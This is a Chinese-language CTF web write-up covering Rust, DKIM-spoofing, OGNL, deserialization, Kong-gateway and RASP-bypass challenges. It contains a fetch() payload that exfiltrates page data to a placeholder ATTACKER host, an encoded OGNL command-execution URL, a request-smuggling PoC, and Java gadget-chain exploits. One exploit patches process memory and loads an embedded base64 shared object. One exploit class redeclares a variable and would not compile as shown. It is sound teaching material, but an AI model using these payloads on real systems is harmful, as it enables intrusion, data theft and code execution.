Web

obsidian

题目给出的是一个使用Rust编写的Web服务器,使用IDA打开。由于没有删去符号信息,所以可以看到相应逻辑对应的处理函数。(这道题其实没有考察任何逆向,给二进制文件是想告诉选手使用的http库)

由于存在rouille::session::session类似函数,可以分析出,其使用的web服务器框架为:https://github.com/tomaka/rouille
通过逆向(其实根据实际来说,更多的选手是黑盒发现的)发现,在get_note函数当中,设置了CSP的HTTP头,以及Note-ID的HTTP头。

对应的HTTP响应如下

通过测试可以发现rouille所使用的

tiny_http = { version = "0.12.0", default-features = false }

在设置Header时存在CRLF注入,因此可以通过CRLF注入绕过CSP。

然后随便构造一下exp

http://127.0.0.1:8000/note/123123%0d%0aA:B%0d%0a%0d%0a%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E%0d%0a%0d%0a

由于Cookie设置了http-only,所以我们需要通过CSRF获取admin的blog内容

fetch('/blog')
  .then((response) => response.text())
  .then((data) => btoa(data))
  .then((data) => location.replace(`http://ATTACKER/?data=${data}`))

从而获取到flag的uuid,值得注意的是这里远程访问的是localhost:8000

简陋的邮件平台/shabby-mail-system

本题主要想考察的是邮件的 DKIM 验证中的域名 NUL ambiguity 攻击,所以主要的漏洞并不出在网页中,而在于欢迎邮件里间接提到的邮箱 SMTP 服务器
题目中仅有管理员才能在网页中获取到 flag,而观察到网页渲染 HTML 邮件的方式是采用 .innerHTML 的方式,易想到通过邮件 XSS 来达到目的
而邮件平台禁止了除指定邮箱外的邮件地址向管理员发件,通过向自己的账号发件可发现单独伪造发信人会被平台判为垃圾邮件无法打开,而下载的邮件源文件可以看到额外添加的 DKIM验证头 Teapot-Authentication-Result,故可以猜测验证发信人核心部分是 DKIM 验证
DKIM 验证中最重要一环是去查询对应域名 TXT 记录中的公钥,如果选手了解 DKIM 验证的构造,也知道常见的由于用户输入而导致查询 DNS 记录时查询域名出现歧义的问题,可以尝试通过 这类特殊字符混入邮件 DKIM 头内的验证域名的 selector 中,即可以将验证的域名导向任意域名而不触发域名对齐验证的失败。故可以使用自己的私钥签名邮件,自己创建一个 DNS 记录放置公钥,使用如上方法将邮件验证导向自己的域名,通过发件人验证
在假冒发信人发送邮件成功后,可以发现仅通过访问自己的服务器等并不能带出 flag 回显,实际上管理员 bot 环境是不能出网的(出题人的坏心眼可多了?),但是邮件平台本身提供了在平台内的发信功能,可以使用管理员的 bot 发信再把 flag 回传给自己的账号
对于这题其实已经有比较全面的测试脚本和论文了,可以去看看这个 https://github.com/chenjj/espoofer ,现实中邮件的应用也不少,希望各位 web 师傅也能多关注一下 SMTP 等的这些历史大坑
出题人也是第一次出题,希望大伙能多给点意见,觉得太恶心也欢迎开骂?,可以往题目里的受害人邮箱反馈 OBx7VH7JTK4vzRb@outlook.com 谢谢各位师傅

the path to shell

backend.war ActionServlet 可直接在 url 路径中进行 ognl 表达式注入,但 backend.war 整个应用由于 IPCheckFilter 的 IP 检查,无法从本机以外的地址直接访问
app.war 里 UserController 直接将请求参数 name 拼接到 feign client 的请求路径里,从 localhost 去调用 backend.war 中的接口。因此若能借助 name 参数进行请求路径穿越,则可以请求到 backend.war ActionServlet 接口进行表达式注入利用。
不过 feign client 在处理请求路径参数时,feign 默认会做url编码,绝大部分特殊字符会被编码,也就不能../往上跳。但如果是 %2F它会再替换成 /,所以 %2F..%2F..%2F..%2F 就能跳了,但如果出现其他特殊字符(如?,$等),整个参数仍然会被编码,不过因为 ActionServlet 本身对路径的参数做了二次解码,所以可以如下构造:

/app/user/..%252F..%252F..%252Fbackend%252Faction%252F%2528%2528%256E%2565%2577%2520%256A%2561%2576%2561%2578%252E%2573%2563%2572%2569%2570%2574%252E%2553%2563%2572%2569%2570%2574%2545%256E%2567%2569%256E%2565%254D%2561%256E%2561%2567%2565%2572%2528%2529%2529%252E%2567%2565%2574%2545%256E%2567%2569%256E%2565%2542%2579%254E%2561%256D%2565%2528%2527%256A%2573%2527%2529%2529%252E%2565%2576%2561%256C%2528%2527%256A%2561%2576%2561%252E%256C%2561%256E%2567%252E%2552%2575%256E%2574%2569%256D%2565%252E%2567%2565%2574%2552%2575%256E%2574%2569%256D%2565%2528%2529%252E%2565%2578%2565%2563%2528%2522%2577%2567%2565%2574%2520%256C%256F%2563%2561%256C%2568%256F%2573%2574%253A%2531%2532%2533%2534%2522%2529%2527%2529

/app/user/..%252F..%252F..%252Fbackend%252Faction%252F 后面的部分就是 ognl 表达式经过二次 url 编码的部分。

((new javax.script.ScriptEngineManager()).getEngineByName('js')).eval('java.lang.Runtime.getRuntime().exec("touch /tmp/pwned")')

ezbean

查看源码,/read路由可以反序列化,MyObjectInputStream中做了部分针对性的过滤。
查看依赖,发现并无已知可被利用的反序列化gadget,但存在版本较低的fastjson。
题目给了MyBean类,其中的toString方法调用了getConnect方法,getConnect调用了JMXConnector类的connect方法,这里可以打jmx jndi。

根据以上信息,我们很难直接找到一条完整的利用链。
题目给了低版本的fastjson,可以想到之前出现过的知识点:fastjson的toString方法可以实现任意getter调用的效果,这样就可以绕过对mybean的过滤,去触发mybean类的jmx sink了。
最终可以通过以下chain来实现rce:

BadAttributeValueExpException.toString -> FastJSON -> MyBean.getConnect -> RMIConnector.connect -> JNDI

Door gap

直接访问 http://118.178.238.83:8000/ 可以看到源码,得到以下信息

  • 有一个 proxy 接口可以发起HTTP请求但是限制了来源 IP ,以及有 SSRF 检查。
  • 根据响应头中的Via: kong/2.8.3可知代码部署在 Kong API 网关之后
  • 源码注释中有一个内网的地址 http://172.18.19.3:8000/admin/

所以第一步应该是绕过来源 IP 的限制以及 SSRF 检查。由于 python wsgi 中不区分请求头中的-_ ,所以可以用X_Forwarded_For: 127.0.0.1 头来绕过 IP 限制。Kong 转发的时候有两个 XFF 头,而且 X_F_F 在后面

X-Forwarded-For: a.a.a.a
X_Forwarded_For: 127.0.0.1

对于 uwsgi 来说相当于收到了 X-Forwarded-For: a.a.a.a, 127.0.0.1
这里有一个非预期,Flask 的 proxy_fix 代码中解析 XFF 头的时候不是直接按逗号分割的,而是会把引号包裹的当成一个整体处理。这就导致可以利用 IPv6 的 scope 来绕过 X-Forwarded-For: ::1%"
第二步绕过SSRF检查也有两个解法,一个是使用 IPv4-mapped IPv6 address 来绕过:http://[::FFFF:172.18.19.3]:8000/admin/,另一个是利用 urllib 中的 urlparse 和 requests (urllib3) 中的 urlparse 解析不一致来绕过: http://172.18.19.3:8000\@www.aliyun.com/../admin/
第二步有另一个非预期?,因为 DNS 缓存是 300s 的,所以在很高的并发下,理论上是有可能在缓存过期前通过第一步检查,然后缓存切换DNS 解析,请求到内网地址。
请求到 http://172.18.19.3:8000/admin/ 之后可以发现是 Kong API 网关的管理接口,通过访问 http://172.18.19.3:8000/admin/services 等管理接口可以收集到以下信息:

这里首先要用/api/login/..;/flag绕过鉴权,(login接口不需要登录,后端tomcat处理时会把/..;/当做/../,请求地址就变成了 /flag )。其次在请求头中加入Transfer-Encoding: chunked,使用请求走私,在GET请求中夹带一个POST请求获取到最终flag。最终PoC如下:

POST /proxy HTTP/1.1
Host: 118.178.238.83:8000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 217
X-Forwarded_For: 127.0.0.1

{"url": "http://[::ffff:172.18.19.3]:8000/api/flag",
"headers": {"Transfer-Encoding": "chunked"},
"data": "0\r\n\r\nPOST /api/login..;/flag HTTP/1.1\r\nHost: 118.178.238.83:8000\r\nAccept: */*\r\nUser-Agent: testua\r\n\r\n"
}

请求包含义特殊字符,可能被处理,可用BASE64解码查看原包:UE9TVCAvcHJveHkgSFRUUC8xLjEKSG9zdDogMTE4LjE3OC4yMzguODM6ODAwMApBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUKQWNjZXB0OiAqLyoKQWNjZXB0LUxhbmd1YWdlOiBlbi1VUztxPTAuOSxlbjtxPTAuOApVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTExLjAuNTU2My4xMTEgU2FmYXJpLzUzNy4zNgpDb25uZWN0aW9uOiBjbG9zZQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTAKQ29udGVudC1MZW5ndGg6IDIxNwpYLUZvcndhcmRlZF9Gb3I6IDEyNy4wLjAuMQoKeyJ1cmwiOiAiaHR0cDovL1s6OmZmZmY6MTcyLjE4LjE5LjNdOjgwMDAvYXBpL2ZsYWciLAoiaGVhZGVycyI6IHsiVHJhbnNmZXItRW5jb2RpbmciOiAiY2h1bmtlZCJ9LAoiZGF0YSI6ICIwXHJcblxyXG5QT1NUIC9hcGkvbG9naW4uLjsvZmxhZyBIVFRQLzEuMVxyXG5Ib3N0OiAxMTguMTc4LjIzOC44Mzo4MDAwXHJcbkFjY2VwdDogKi8qXHJcblVzZXItQWdlbnQ6IHRlc3R1YVxyXG5cclxuIgp9

Bypassit I

BadAttributeValueExpException.toString -> POJONode -> getter -> TemplatesImpl

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import ysoserial.payloads.util.ClassFiles;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;


public class Exp {
    private final static String path = "/tmp/pojo.payload2";
    public static void main(String[] args) throws Exception{
        Object obj = Gadgets.createTemplatesImpl("touch /tmp/succddd");
        Object obj = getTemplate();
        POJONode node = new POJONode(obj);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
        valfield.set(val, node);
        FileOutputStream fos = new FileOutputStream(path);
        ObjectOutputStream oos = new ObjectOutputStream(fos);

        oos.writeObject(val);
        oos.close();
        fos.close();
    }
}

Bypassit II

通过读写/proc/self/mem,绕过nativerasp.so

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import ysoserial.payloads.util.ClassFiles;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;


public class Exp {
    private final static String path = "/tmp/pojo.payload2";
    public static void main(String[] args) throws Exception{
        Object obj = getTemplate();
        POJONode node = new POJONode(obj);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
        valfield.set(val, node);
        FileOutputStream fos = new FileOutputStream(path);
        ObjectOutputStream oos = new ObjectOutputStream(fos);

        oos.writeObject(val);
        oos.close();
        fos.close();
    }

    public static Object getTemplate() throws Exception{
        Class tplClass = TemplatesImpl.class;
        Class transFactory = TransformerFactoryImpl.class;
        Object templates = tplClass.newInstance();
        byte[] classBytes = Files.readAllBytes(Paths.get("Evil.class"));

        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Gadgets.Foo.class)});
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }
}
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.FileOutputStream;
import java.io.RandomAccessFile;
import java.io.Serializable;
import java.util.Base64;


public class Evil extends AbstractTranslet implements Serializable {
    static private long STRING_OFFSET = 0x2029L;
    static RandomAccessFile memFile;
    static RandomAccessFile mapsFile;

    public Evil(){
        try{
            mapsFile = new RandomAccessFile("/proc/self/maps", "r");
            memFile = new RandomAccessFile("/proc/self/mem", "rw");
            String raspPath = "/opt/rasp/libnativerasp.so";
            long raspBaseAddress = this.findLibraryBaseAddress(raspPath);

            // 修改"/usr/local/openjdk-8/jre/lib/amd64/" -> "/"
            long stringPatchAddr = raspBaseAddress + STRING_OFFSET;
            byte[] patchBytes = new byte[]{0};
            this.patchMemory(stringPatchAddr, patchBytes);

            String so = "/tmp/evil.so";
            writeEvilSo(so);
            System.load(so);
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    void writeEvilSo(String path){
        String evilSo = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPMPHvpIg+wISIsF2S8AAEiFwHQC/9BIg8QIwwAAAAAA/zXiLwAA8v8l4y8AAA8fAPMPHvpoAAAAAPLp4f///5DzDx76aAEAAADy6dH///+Q8w8e+vL/JZ0vAAAPH0QAAPMPHvry/yWtLwAADx9EAADzDx768v8lpS8AAA8fRAAASI09qS8AAEiNBaIvAABIOfh0FUiLBUYvAABIhcB0Cf/gDx+AAAAAAMMPH4AAAAAASI09eS8AAEiNNXIvAABIKf5IifBIwe4/SMH4A0gBxkjR/nQUSIsFFS8AAEiFwHQI/+BmDx9EAADDDx+AAAAAAPMPHvqAPTUvAAAAdStVSIM98i4AAABIieV0DEiLPRYvAADoOf///+hk////xgUNLwAAAV3DDx8Aww8fgAAAAADzDx766Xf////zDx76VUiJ5UiD7BBIjT20DgAA6B////+JRfyDffwAdQ5IjT23DgAA6Pr+///rDEiNPc4OAADo7P7//5DJwwDzDx76SIPsCEiDxAjDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA